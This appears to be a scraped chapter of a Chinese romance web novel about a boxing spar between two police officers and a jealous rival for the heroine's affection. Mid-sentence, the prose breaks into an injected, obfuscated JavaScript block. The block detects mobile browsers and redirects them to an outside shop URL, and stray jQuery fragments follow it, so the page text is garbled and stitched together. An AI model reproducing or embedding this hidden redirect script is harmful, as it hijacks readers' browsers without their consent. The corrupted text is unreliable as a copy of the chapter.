36.chapter 36
作品:《我这么能打,一夫一妻很合理吧》 第二日下午,原本只应该有他们两个去的拳击馆,不知怎的,就变成了四个...六个....嗯......一堆人。
他们几个这段时间破获案子的光荣事迹,在警局内部可谓是一传百。
都听说了,里面有两个很能打的。
得知他们要在拳击馆进行PK,放假的警员也不在家休息了,纷纷跑来拳馆凑热闹。
就连艾木栖,也跟着过来。
这是要把拳馆变成拳场的节奏嘛?!
拳馆里面还在训练的人,看到这么大的阵仗,都停下了手中的动作,不约而同地投来好奇的目光。
有眼尖的人,认出了吴又夏,悄默默在旁边儿的人耳边儿说:“我跟你说,那边儿站在前面的女生,就是那个风格很酷,表情一脸无语的,她上次跟人在这打了一场,可厉害了。”
真的假的?旁边儿的人不信。
她看上去就细胳膊细腿的,别人不把她打趴下就算好的了。
她能打得过别人?
那人“切”了声,摆弄手中的毛巾:“不信,你一会儿就瞧好了,她能把你打死的。”
感受到许多目光向自己投来时,吴又夏真想原地升天了,立马就想找个别的拳击场馆。昨天压根就没想那么多,就想着两个人单独过来打一场,打完悄咪咪的离开。
事情怎么就发展成这个样子了呢!?
谁能来跟她解释一下。
亲眼看着事情走向越来越不对劲的纪则初,心虚地摸了摸鼻子。
昨天晚上回去,他就顺嘴跟时瑞提了一下,谁知道这狗东西,竟然把这件事直接发警局内部大群了,召集了一队人马过来看戏。
真是看热闹不嫌事大的。
想到这里,他狠狠地瞪了一眼坐在旁边儿观众席上,笑得一脸自在的时瑞。
而时瑞余光看见了,但假装没看见,继续跟艾木惜聊天去了。
艾木栖皱眉,控制轮椅来到吴又夏身边儿,轻轻拉了拉她的手,声音软糯:“又夏姐。”
吴又夏闻声,扭头看去:“怎么了?”
艾木栖示意她下来一些,附在她耳边儿说:“如果不爽了,咱们要不要换一个地方,我在网上看到好多平价都还不错的场馆。”
吴又夏笑了笑,在她脸颊轻轻捏了捏:“算了,来都来了,换地方太麻烦了。”
“行。”艾木栖看了眼纪则初,鬼点子生成完成,故意用三人都能听到的声音,“又夏姐,待会儿可要尽全力,把他打死最好!”
吴又夏:“......”
纪则初:“......”
他脑袋青筋跳起,似笑非笑弯腰到她身边儿:“你欠收拾了,是不是?”
艾木栖直接无视,并送给他一个白眼。
“你跟她计较什么?”吴又夏扶额摇头。
纪则初退一步,至她身边儿,小声说道:“谁让她也喜欢你。”
要说之前他们的关系,顶多是邻居和艾木栖单方面看他不顺眼,那么现在,就还要加上互看不顺眼和情敌。
-
在这个人人喊“谁说女子不如男”的时期,总有一些地方,是只愿意看到男人们之间的较量,因为他们下手更狠,更有看头。
没有愿意看到一个女人在台上殊死搏斗。
比如赛车、比如拳击。
他们可以观看□□,但不愿意观看男女一起出现在同一场比赛之中。如果有,他们也会一开始就在心里衡量了这一场的输赢,是一场毫无悬念的比赛。
这是吴又夏在国外打拳时期,听到的最多的话。
可她偏偏不信那个邪,正规比赛,是不会让男女互打,但地下拳场就可以。
所有参赛者都可以拼劲权利。
那里的舞台,没有性别之分,只有对手。
即便观众一开始也不看好她,可她硬是在那一声声质疑中,站上高位。
上了擂台,就没有任何感情,只有对手。
不管私下是什么身份,只要上了这个地方,那么他的身份,就只有这一个。
所以,今天这场交流,她不会手下留情。
在点到即止的前提下,拿出自己真正的实力。
观看席上的艾木栖,面无表情地看着台上的一举一动,她对这两人的多多少少都有一些了解,倒是很想看看,谁会更胜一筹。
最好一个能把一个打死。
不过......纪则初这身体,倒是恢复的还挺快,受了那么重的伤,居然还能在短短一个月内就下床。
哎!早知道就......
台上。
裁判最后一声令下,两人同时动身,拳套相撞的闷响先一步在场馆内炸开,在场所有人都被这一幕吓到。
这分明都是用了自己的全部力气。
纪则初向后退了几步,随后稳稳稳住身形,嘴角氧气一幕弧度,似乎对她的攻击很是满意,调整好身形,就绪发动攻势,直拳直奔她面门。
吴又夏条灭,不退反进,侧身旋腰避开的同事,右拳狠狠砸向他肋下,力道重的让他闷哼一声,手臂立刻隔档回弹,震得她指节发麻。
“够狠。”
吴又夏喘着气抬眼,扬了扬拳套:“彼此彼此。”
“再来!”
一时之间,场馆内,先前还在质疑吴又夏的人,都默默闭了嘴,全神贯注的看着这场比赛,跟着一起来的警员们咽了咽口水,愣在原地不知所措。
来之前,有人还说想和他们两个切磋一下。
现在看来,大可不必了。
他们可不想鼻青脸肿的去上班。
他们这力度,那可真不是一般人能承受的,之前被打伤的那个警员,看来都是她收着力打的。
拳场上拳风步步紧逼,周围空气都跟着紧绷,两人呼吸交缠在方寸之间,谁也不肯示弱。纪则初扣住她的手腕,往身侧带,想逼她失了重心。
吴又夏看出他的意图,反手勾住他臂弯,借力翻身挣脱,回身一季勾拳精准落在他肩头。
这场比赛,没人注意到过了多久。
看到最后时,都吸住一口气,瞪大双眼,想看看谁可以赢。
台上两人同时扑上前,拳风相撞的刹那,一起收了力。他的拳头停在她脸颊旁,她的拳头也堪堪在他心口。
四目相对,只剩彼此粗重的喘息和对对方的认可。
吴又夏松了一口气,轻笑:“你还是收了力,可我不需要。”
“你不也一样,”纪则初耸肩,“彼此彼此,谁也别说谁。”
一个考虑到对方的伤势,一个不忍真的下重手。
俩人都是有所隐瞒。
吴又夏屡次看破他的招式和弱点,但都没有下手。
这如果放在地下拳场,她可是不会手下留情的。
而纪则初同样也是,虽然看破招式的机会,没有吴又夏多,但好几次都是有意为之。
吴又夏打完一场,觉得不是很过瘾,目光扫过下面观众席的一众人,双手撑在弹力绳边儿:“还有谁想上来,一展身手的?”
下面顿时鸦雀无声,脸一个比一个埋的要低。
生怕她随手指到自己。
吴又夏见状,立马没了心情,跨出擂台,回到观众席上,观看下面的切磋。
“又夏姐,原来你这么厉害呀?”艾木栖拿着水过来,甜甜地说。
吴又夏接过水,喝了一口:“那是当然的,以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446267|198685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后要是有啥事,告诉我,我保护你。”
“任何事吗?”
吴又夏点头。
艾木栖趁着没人注意,快速在她脸上亲了一口,开开心心地坐在她身边儿,一起观看。
吴又夏瞬间脸红,余光扫了一眼,发现没人注意,悄悄松了一口气。
这一个月,她都在忙,每次收到她的消息,都是紧巴巴地回复,没有认真考虑,可她每次还是会笑眯眯地给自己发。
好像确实又夏忽略她了。
又想到和纪则初的事,脑子一阵乱麻,那些原本顺开的线,一时间缠到一起,成为一个死结。
还是解不开的那种。
“木栖。”她叫着她的名字。
艾木栖回头,笑得开心:“怎么啦?”
吴又夏思索再三,才说出口:“后面有时间,带你出去玩,你想去哪都可以。”
“好呀!”
她对纪则初是有一些好感,但对艾木栖,同样也有,与谁在一起,都还是未知数,又何必伤了两人的心呢?!
而且艾木栖双腿还不方便,在家一天也无聊。
多陪陪她,解解闷。
纪则初那边儿,随时都能过去,也不急于一时。
台上纪则初和时瑞还在切磋,两人打的热火朝天。
吴又夏眼见没有人愿意和她比划,自觉无趣,就带着艾木栖来到换衣间,让她在这里等一下,自己先去冲个澡。
出了一身汗,忍到回家,可就太难受了。
在换衣服的时候,艾木栖欲言又止,想了半晌,问出这句话:“又夏姐,你喜欢纪则初吗?”
今天就察觉到他们两人之间的氛围很不对劲。
之前的生疏,已然完全消失不见。
“干嘛突然问这个?”吴又夏疑惑。
她眼睛这么尖的吗?
这都能看出来!
艾木栖眼神暗淡,摇摇头:“就是想问问,如果他真的喜欢你,你会和他在一起吗?”
吴又夏放下手中的东西,坐在凳子上,她说了实话,并不打算骗她:“说实话,我还真没想到过,我会和谁在一起,你们两个,我都喜欢,人不可能只对一个人心动,你知道的。”
与其编造谎言,倒不如直接大方承认。
这是人之常情。
艾木栖小嘴一撇,拉过她,狠狠在她唇上一吻,带着些许粗气,说着:“不行,你只能是我的,他算个什么玩意儿,你别喜欢他好不好?”
“这玩意儿,我也控制不住啊?”吴又夏笑了笑。
“你讨厌!”
吴又夏被她这一举动可爱到了,半蹲在她身边儿,轻轻抚摸着她脸颊,将刚才的吻继续。
半晌,才缓缓松开。
“好了,不生气了,我答应你,以后尽量多陪你。”
艾木栖还是不满意,嘴角撇着。但又能怎么样呢?总不能现在扑上去,把他按进床垫里。
“哼。”从鼻子里挤出一声,“你说到做到。”突然倾身,眼神亮的吓人,声音却很轻:“不然......”停顿片刻,舌尖舔过齿尖,“我站起来,打死他去。”
吴又夏无奈一笑,知道她在开玩笑,声音带着哄孩子的软:“知道了,说到做到。”
随后起身,拿着衣服去了淋浴间。
关上浴门的那一刻,艾木栖的嘴角还翘着,弧度却一点点僵住,笑意从眼底抽离,露出埋藏在底下的阴冷。
她歪了歪头,活动了一下颈椎,发出轻微的咔哒声。
用口型说了一句话:“我说真的哦!”
纪则初这个贱男人、死绿茶,真不知道哪里好,能让她看上,真应该让他从她身边儿消失......

